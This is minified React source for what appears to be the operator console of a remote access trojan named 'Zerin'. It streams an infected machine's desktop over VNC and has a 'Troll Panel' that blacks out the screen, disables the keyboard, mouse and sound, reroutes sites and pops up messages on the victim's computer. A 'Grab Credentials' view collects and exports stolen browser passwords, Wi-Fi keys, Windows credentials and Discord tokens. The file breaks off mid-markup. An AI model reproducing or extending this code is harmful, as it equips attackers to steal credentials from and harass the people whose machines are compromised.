Y=O.current;u(te=>te.fps===Y.fps&&te.frameCount===Y.frameCount&&te.dirtyTiles===Y.dirtyTiles&&te.totalTiles===Y.totalTiles?te:{fps:Y.fps,frameCount:Y.frameCount,width:Y.width,height:Y.height,lastFrameMs:Y.lastFrameMs,dirtyTiles:Y.dirtyTiles,totalTiles:Y.totalTiles})},500),()=>{E.current&&clearInterval(E.current)}),[]);const K=p.useCallback((Y,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==Y||C.height!==te)&&(C.width=Y,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),$=p.useRef(new ArrayBuffer(5)),L=p.useRef(new DataView($.current)),F=p.useCallback(Y=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(Y)},[]),W=p.useMemo(()=>({sendMouseMove:(Y,te)=>{const C=L.current;C.setUint8(0,1),C.setUint16(1,Y,!0),C.setUint16(3,te,!0),F($.current)},sendMouseButton:(Y,te,C,A)=>{const Z=new ArrayBuffer(7),R=new DataView(Z);R.setUint8(0,2),R.setUint8(1,Y),R.setUint8(2,te),R.setUint16(3,C,!0),R.setUint16(5,A,!0),F(Z)},sendMouseScroll:(Y,te,C)=>{const A=new ArrayBuffer(7),Z=new DataView(A);Z.setUint8(0,3),Z.setInt16(1,Y,!0),Z.setUint16(3,te,!0),Z.setUint16(5,C,!0),F(A)},sendKey:(Y,te,C)=>{const A=new ArrayBuffer(8),Z=new DataView(A);Z.setUint8(0,4),Z.setUint8(1,Y),Z.setUint16(2,te,!0),Z.setUint32(4,C,!0),F(A)},sendClipboard:Y=>{const te=new TextEncoder().encode(Y),C=new ArrayBuffer(5+te.length),A=new DataView(C);A.setUint8(0,5),A.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),F(C)},setQuality:Y=>{U.current=Y;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,Y),F(te)},setViewOnly:Y=>{d.current=Y},sendControl:(Y,te)=>{const C=new ArrayBuffer(3),A=new DataView(C);A.setUint8(0,6),A.setUint8(1,Y),A.setUint8(2,te),F(C)}}),[F]),H=p.useCallback(()=>{if(!o2||f.current)return;const Y=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});Y.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:A,height:Z,cursorX:R,cursorY:ae}=te.data;m.current(C,A,Z,R,ae)}},f.current=Y},[]),B=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),q=p.useCallback(()=>{if(o2||b.current!==null)return;const Y=()=>{const te=y.current,C=g.current,A=w.current;if((te.length>0||C.length>0)&&A){const{canvas:Z,ctx:R}=K(A.width,A.height);for(const ae of te)R.fillStyle=`rgb(${ae.r},${ae.g},${ae.b})`,R.fillRect(ae.col*ae.tileSize,ae.row*ae.tileSize,ae.tileSize,ae.tileSize);for(const ae of C)R.drawImage(ae.bitmap,ae.col*ae.tileSize,ae.row*ae.tileSize),ae.bitmap.close();y.current=[],g.current=[],m.current(Z,A.width,A.height,A.cursorX,A.cursorY)}b.current=requestAnimationFrame(Y)};b.current=requestAnimationFrame(Y)},[K]),X=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const Y of g.current)Y.bitmap.close();g.current=[],y.current=[]},[]),se=p.useCallback(()=>{if(T.current!==null)return;const Y=64*1024;T.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>Y&&!P.current){P.current=!0;const C=new ArrayBuffer(3),A=new DataView(C);A.setUint8(0,6),A.setUint8(1,1),A.setUint8(2,30),F(C)}else if(te.bufferedAmount<=Y/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),A=new DataView(C);A.setUint8(0,6),A.setUint8(1,1),A.setUint8(2,U.current),F(C)}}},250)},[F]),ue=p.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),P.current=!1},[]),fe=p.useCallback(()=>{if(i.current)return;const Y=Ze();if(!Y)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(Y)}`,A=new WebSocket(C);A.binaryType="arraybuffer",i.current=A,A.onopen=()=>{l(!0),H(),q(),se()},A.onmessage=Z=>{if(!(Z.data instanceof ArrayBuffer))return;const R=new DataView(Z.data);if(Z.data.byteLength<13)return;const ae=R.getUint16(0,!0),pe=R.getUint16(2,!0),D=Number(R.getBigUint64(4,!0)),re=R.getUint8(12),_=performance.now(),ee=S.current,V=N.current%k;ee[V]=_,N.current=V+1,z.current1){const G=ee[(V+1-oe+k)%k],ie=(_-G)/1e3;ie>0&&(J=Math.round((oe-1)/ie))}const I=O.current;if(I.frameCount++,I.fps=J,I.width=ae,I.height=pe,I.lastFrameMs=D,re===1){const G=wU(R,13,Z.data.byteLength);I.dirtyTiles=G.numDirty,I.totalTiles=G.cols*G.rows;const ie=G.cols>0?Math.ceil(ae/G.cols):128,ne=G.tiles.filter(ge=>ge.codec===1),ve=G.tiles.filter(ge=>ge.codec===2);if(f.current){const ge=[],Ne=ne.map(ye=>{const Dn=ye.data.buffer.slice(ye.data.byteOffset,ye.data.byteOffset+ye.data.byteLength);return ge.push(Dn),{col:ye.col,row:ye.row,data:Dn}}),ht=ve.map(ye=>({col:ye.col,row:ye.row,r:ye.data[0],g:ye.data[1],b:ye.data[2]}));f.current.postMessage({type:"tiles",tiles:Ne,solids:ht,width:ae,height:pe,cursorX:G.cursorX,cursorY:G.cursorY,tileSize:ie},ge)}else{w.current={width:ae,height:pe,cursorX:G.cursorX,cursorY:G.cursorY};for(const ge of ve)y.current.push({col:ge.col,row:ge.row,r:ge.data[0],g:ge.data[1],b:ge.data[2],tileSize:ie});if(ne.length>0){if(j.current){v.current||(v.current=[]);for(const Ne of ne){const ht=v.current.findIndex(ye=>ye.col===Ne.col&&ye.row===Ne.row);ht>=0?v.current[ht]={...Ne,tileSize:ie}:v.current.push({...Ne,tileSize:ie})}return}j.current=!0;let ge=ne.map(Ne=>({...Ne,tileSize:ie}));if(v.current&&v.current.length>0){for(const Ne of v.current)ge.findIndex(ye=>ye.col===Ne.col&&ye.row===Ne.row)<0&&ge.push(Ne);v.current=[]}Promise.all(ge.map(Ne=>{const ht=new Blob([Ne.data],{type:"image/jpeg"});return createImageBitmap(ht).then(ye=>({bitmap:ye,col:Ne.col,row:Ne.row,tileSize:Ne.tileSize}))})).then(Ne=>{j.current=!1;for(const ht of Ne)g.current.push(ht)}).catch(()=>{j.current=!1})}}}else{I.dirtyTiles=0,I.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const G=new Uint8Array(Z.data,13),ie=new Blob([G],{type:"image/jpeg"}),ne=URL.createObjectURL(ie);a.current=ne,m.current(ne,ae,pe)}},A.onclose=()=>{l(!1),i.current=null,B(),X(),ue(),r==null||r()},A.onerror=()=>{A.close()}},[e,t,r,H,B,q,X,se,ue]),me=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),B(),X(),ue(),l(!1)},[B,X,ue]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),B(),X(),ue()},[B,X,ue]),{isConnected:o,stats:c,controls:W,connect:fe,disconnect:me}}function jU({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState("https://"),[E,T]=p.useState(!1),[P,U]=p.useState(""),[K,$]=p.useState(!1),[L,F]=p.useState(!1),[W,H]=p.useState(!1),[B,q]=p.useState(!1),[X,se]=p.useState(!1),[ue,fe]=p.useState(!1),me=(J,oe="ok")=>{f({text:J,type:oe}),setTimeout(()=>f(null),2500)},Y=p.useCallback((J,oe,I)=>{a.current||(a.current=!0,i(!0)),l({w:oe,h:I});const G=t.current;if(!G)return;const ie=G.getContext("2d");if(ie)if((G.width!==oe||G.height!==I)&&(G.width=oe,G.height=I),typeof J=="string"){const ne=n.current||new Image;n.current=ne,ne.onload=()=>ie.drawImage(ne,0,0),ne.src=J}else J instanceof ImageBitmap?(ie.drawImage(J,0,0),J.close()):ie.drawImage(J,0,0)},[]),{isConnected:te,stats:C,connect:A}=ev({agentId:e,onFrame:Y}),[Z,R]=p.useState(!1);p.useEffect(()=>{!e||!Z||ax(e).then(()=>A()).catch(()=>{A()})},[e,A,Z]);const ae=async(J,oe)=>{try{await Ce(e,{command:J,args:oe}),me(`Sent: ${J}`)}catch{me(`Failed: ${J}`,"err")}},pe=()=>{const J=!c;u(J),ae("troll_taskbar",[J?"show":"hide"])},D=(J,oe,I)=>{const G=!J;oe(G),ae(I,[G?"on":"off"])},re=()=>{y.trim()&&(ae("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},_=()=>{j.trim()&&(ae("troll_tts",[j]),w(!1),k(""))},ee=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){me("URL must start with http:// or https://","err");return}ae("troll_website",[z]),N(!1),O("https://")}},V=()=>{P.trim()&&(ae("troll_wallpaper",[P]),T(!1),U(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx(Cs,{icon:s.jsx(kU,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx(Cs,{icon:s.jsx(NU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx(Cs,{icon:s.jsx(SU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx(Cs,{icon:s.jsx(zU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),s.jsx(Cs,{icon:s.jsx(CU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>ae("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(vi,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:pe}),s.jsx(vi,{label:"Swap Mouse",active:K,color:"#f59e0b",onToggle:()=>D(K,$,"troll_swapmouse"),invert:!0}),s.jsx(vi,{label:"Sound",active:!L,color:"#8b5cf6",onToggle:()=>D(L,F,"troll_disablesound")}),s.jsx(vi,{label:"Screen",active:!W,color:"#ef4444",onToggle:()=>D(W,H,"troll_blackscreen")}),s.jsx(vi,{label:"Keyboard",active:!B,color:"#10b981",onToggle:()=>D(B,q,"troll_disablekeyboard")}),s.jsx(vi,{label:"Mouse",active:!X,color:"#ec4899",onToggle:()=>D(X,se,"troll_disablemouse")}),s.jsx(vi,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>D(ue,fe,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):Z?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>R(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Il,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:J=>g(J.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:J=>v(J.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Dl,{onCancel:()=>h(!1),onSend:re,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Il,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:J=>k(J.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Dl,{onCancel:()=>w(!1),onSend:_,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Il,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:J=>O(J.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Dl,{onCancel:()=>N(!1),onSend:ee,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),E&&s.jsxs(Il,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:P,onChange:J=>U(J.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Dl,{onCancel:()=>T(!1),onSend:V,color:"#10b981",disabled:!P.trim()})]})]})}function Cs({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Il({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Dl({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function vi({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function kU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function NU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function SU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function zU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function CU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function PU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var w,j,k,S,N,z,O,E,T,P,U,K,$,L,F,W,H,B,q,X,se,ue,fe,me,Y,te,C;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=A=>{f(Z=>{const R=new Set(Z);return R.has(A)?R.delete(A):R.add(A),R})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:A}=await Ce(e,{command:"creds"});let Z=0;h.current=setInterval(async()=>{var R,ae,pe,D,re,_;Z++;try{const V=(R=(await Tn(e)).results)==null?void 0:R.find(J=>J.task_id===A);if(V){if(h.current&&clearInterval(h.current),h.current=null,l(!1),V.error){u(V.error);return}if(V.output)try{const J=JSON.parse(V.output);a(J);const oe=new Set;(ae=J.chrome_passwords)!=null&&ae.length&&oe.add("chrome_passwords"),(pe=J.firefox_passwords)!=null&&pe.length&&oe.add("firefox_passwords"),(D=J.wifi)!=null&&D.length&&oe.add("wifi"),(re=J.windows_credentials)!=null&&re.length&&oe.add("windows_credentials"),(_=J.discord_tokens)!=null&&_.length&&oe.add("discord_tokens"),f(oe)}catch{u("Failed to parse credential data")}}else Z>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(A){l(!1),u(A instanceof Error?A.message:"Failed to submit task")}}},[e,m]),v=A=>{navigator.clipboard.writeText(A).catch(()=>{})},b=()=>{if(!i)return;const A=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),Z=URL.createObjectURL(A),R=document.createElement("a");R.href=Z,R.download=`credentials_${e.slice(0,8)}.json`,R.click(),URL.revokeObjectURL(Z)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:b,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 